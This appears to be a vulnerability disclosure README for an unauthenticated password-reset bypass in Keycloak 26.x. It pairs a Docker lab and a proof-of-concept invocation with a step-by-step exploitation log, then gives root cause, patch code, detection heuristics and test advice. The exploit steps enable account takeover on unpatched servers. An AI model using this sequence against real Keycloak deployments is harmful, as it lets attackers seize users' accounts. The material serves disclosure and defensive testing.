
PoC, Dockerfile playground and root cause from patch diff analysis.
Docker setup for testing Keycloak 26.x versions affected by the reset-credentials flow bypass. The included lab pins Keycloak 26.6.2, which is in the affected range (>26.0 and <26.7.2).
Requirements: Docker, Docker Compose, Python 3. Tested with Docker image quay.io/keycloak/keycloak:26.6.2.
docker compose up -d
curl http://127.0.0.1:8080
The compose file starts Keycloak 26.6.2 with a temporary admin/admin-password-for-lab administrator. Create a test realm and user through the Admin Console or Admin REST API. The reset flow must be enabled and the built-in reset-credential-email execution must be reachable.
ATO example:
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <known realm> --username <known victim> \
--new-password '<pw>' \
--allow-loopback-http-cookie --change-password
The loopback-cookie option exists only for this HTTP Docker lab. Successful validation / exploitation
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Vulnerable: password-update form reached without email action token
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
Unauthenticated account takeover when Forgot Password uses the vulnerable built-in reset-credentials flow. The email-possession step is marked successful without consuming its action token, advancing the attacker to UPDATE_PASSWORD.
Two state-machine defects combine:
tryAnotherWay stored AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true as a global boolean in the authentication session. It was not bound to the execution that displayed the selector, allowing stale selector state to affect another reset-flow execution.ResetCredentialEmail.action() accepted any invocation:@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
A crafted reset-flow sequence can therefore manipulate the selector/current-execution state and invoke the email authenticator action without clicking the emailed link. Keycloak treats the email step as complete and exposes the password-update execution for the selected victim.
The reset email may still be generated and SEND_RESET_PASSWORD logged. Possession of the mailbox or token is not required.
Selector state is now bound to the exact execution model:
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
The note is removed if it does not match CURRENT_AUTHENTICATION_EXECUTION. More importantly, the email action now requires an action-token identity matching the flow user:
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services flow; the exploitable selector-state change was introduced in 26.0.0.reset-credential-email must be reachable and bound. Disabling Forgot Password prevents this path.Keycloak lacks a definitive “email token skipped” event. Correlate flow timing and reverse-proxy logs:
code_id: SEND_RESET_PASSWORD → UPDATE_PASSWORD within secondstryAnotherWay, immediately before password updateGET /login-actions/action-token, which a legitimate email click generatesThis is heuristic: a user with the email already open can reset quickly, and absent events prove nothing where logging/retention was disabled.
Authentication-flow state confusion + unconditional authenticator success bypasses a possession check. General test edge: whenever an authentication execution can be revisited, switched with “try another way”, or resumed from an old URL, verify each authenticator revalidates its own proof instead of trusting shared flow state.
Upstream patch reference: https://github.com/keycloak/keycloak/pull/51844